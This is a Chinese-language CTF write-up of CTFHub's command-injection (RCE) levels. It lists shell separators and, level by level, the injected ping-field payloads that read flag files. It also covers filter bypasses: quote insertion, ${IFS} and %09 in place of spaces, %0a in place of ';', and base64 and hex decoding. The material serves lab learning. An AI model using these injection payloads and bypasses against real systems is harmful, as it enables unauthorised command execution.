CTFHUB-技能樹-Web-RCE(下)
這一篇講命令注入
常用特殊字元:
cmd1|cmd2:無論cmd1是否執行成功,cmd2將被執行
cmd1&cmd2:無論cmd1是否執行成功,cmd2將被執行
cmd1;cmd2:無論cmd1是否執行成功,cmd2將被執行
cmd1||cmd2:僅在cmd1執行失敗時才執行cmd2
cmd1&&cmd2:僅在cmd1執行成功後才執行cmd2
$(cmd):echo$(whoami)或者$(touch test.sh;echo 'ls' >test.sh)
'cmd':用於執行特定命令,如'whoami'
>(cmd):<(ls)
<(cmd):>(ls)
命令注入-無過濾
原始碼就是一個ping命令直接拼接上ip的內容
所以構造一下
①127.0.0.1|ls
②127.0.0.1|cat 66301059911779.php
發現什麼都沒有,看一下原始碼發現原來flag被註釋了
過濾cat
ls發現flag檔案,但是cat命令被過濾,所以得想辦法讀flag檔案的內容,發現我不會,記錄一下
參考https://blog.csdn.net/szgyunyun/article/details/104970118
cat 由第一行開始顯示內容,並將所有內容輸出
tac 從最後一行倒序顯示內容,並將所有內容輸出
more 根據視窗大小,一頁一頁的現實檔案內容
less 和more類似,但其優點可以往前翻頁,而且進行可以搜尋字元
head 只顯示頭幾行
tail 只顯示最後幾行
nl 類似於cat -n,顯示時輸出行號
tailf 類似於tail -f
另:參考https://www.cnblogs.com/chalan630/p/12542239.html
拼接繞過:a=fl;b=ag;cat $a$b
編碼繞過:(base64)echo MTIzCg==|base64 -d #123
(16進位制)echo "313233"|xxd -r -p #123
(10進位制)
單引號或雙引號繞過:ca''t flag
或ca""t flag
${}
執行程式碼:${phpinfo()};
選擇任意一個使用,flag仍然在原始碼中檢視
過濾空格
繞過方式(替換掉空格):
①全域性變數:${IFS}或者
$IFS$9,$IFS
②重定向符:<
③變數自定義:cmd=$'\x20flag_2413114655637.php'&&cat$cmd
④字串處理:a=$(id)&&b=${a:16:1}&&cat${b}flag_2413114655637.php
參考https://blog.csdn.net/weixin_39219503/article/details/103948357
⑤%20(space)、%09(tab)
過濾目錄分隔符/
這題過濾了/,但是好像不需要用到
直接構造127.0.0.1;cd flag_is_here;cat flag_11504215555192.php
這題好像用| & &&都不行,不知道為什麼
過濾運算子
把/ \ | &都給過濾了,漏了一個;
構造127.0.0.1;cat flag_325302658114852.php
綜合過濾(組合拳)
可以看到過濾了/ \ | & ; (空格) cat flag ctfhub
這裡我們先想一下操作
①127.0.0.1;ls
②127.0.0.1;cd flag_is_here;ls
③127.0.0.1;cd flag_is_here;cat flag_xxx.php
注意這一題命令注入點在url上,而不是框框裡輸入
;號不能用可以用%0a、%0d代替,不過這題好像只能用%0a
空格被過濾上面講了如何繞過
flag被過濾可以fla''g、fla""g等,上面講了
cat上面也講了
構造:127.0.0.1%0acd%09fla""g_is_here%0atac%09fla""g_18066919615927.php
這裡看到了一個有點奇特的payload,記一下
127.0.0.1%0acd%09*%0atac%09*
不明白為什麼*可以替換掉所有 = =
找大佬問清楚了,這裡是屬於巧合了,*是匹配任意值,而這題剛好只有一個目錄,目錄下只有一個檔案,所以才能夠執行正確
同理可以把部分換成*也可以